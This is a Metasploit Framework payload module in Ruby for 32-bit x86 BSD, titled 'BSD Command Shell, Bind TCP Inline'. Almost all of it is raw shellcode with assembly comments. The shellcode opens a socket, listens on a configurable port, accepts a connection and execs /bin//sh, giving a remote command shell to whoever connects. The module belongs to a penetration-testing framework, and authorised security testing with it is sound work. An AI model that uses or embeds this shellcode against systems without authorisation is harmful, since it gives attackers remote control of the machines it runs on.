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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 73
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  include Msf::Payload::Single
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  include Msf::Payload::Bsd
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'BSD Command Shell, Bind TCP Inline',
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      'Description'   => 'Listen for a connection and spawn a command shell',
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      'Author'        => 'Ramon de C Valle',
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'bsd',
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      'Arch'          => ARCH_X86,
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      'Handler'       => Msf::Handler::BindTcp,
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      'Session'       => Msf::Sessions::CommandShellUnix,
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      'Payload'       =>
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        {
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          'Offsets' =>
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            {
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              'LPORT'    => [ 6, 'n' ],
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            },
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          'Payload' =>
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            "\x31\xc0"             + #   xorl    %eax,%eax                  #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x68\xff\x02\x04\xd2" + #   pushl   $0xd20402ff                #
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            "\x89\xe7"             + #   movl    %esp,%edi                  #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x6a\x01"             + #   pushl   $0x01                      #
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            "\x6a\x02"             + #   pushl   $0x02                      #
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            "\x6a\x10"             + #   pushl   $0x10                      #
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            "\xb0\x61"             + #   movb    $0x61,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x57"                 + #   pushl   %edi                       #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x6a\x68"             + #   pushl   $0x68                      #
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            "\x58"                 + #   popl    %eax                       #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x89\x47\xec"         + #   movl    %eax,-0x14(%edi)           #
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            "\xb0\x6a"             + #   movb    $0x6a,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\xb0\x1e"             + #   movb    $0x1e,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x6a\x5a"             + #   pushl   $0x5a                      #
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            "\x58"                 + #   popl    %eax                       #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\xff\x4f\xe4"         + #   decl    -0x1c(%edi)                #
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            "\x79\xf6"             + #   jns     <bndsockcode+42>           #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
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            "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
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            "\x89\xe3"             + #   movl    %esp,%ebx                  #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x54"                 + #   pushl   %esp                       #
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            "\x53"                 + #   pushl   %ebx                       #
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            "\x50"                 + #   pushl   %eax                       #
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            "\xb0\x3b"             + #   movb    $0x3b,%al                  #
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            "\xcd\x80"              #   int     $0x80                      #
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        }
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      ))
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  end
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end
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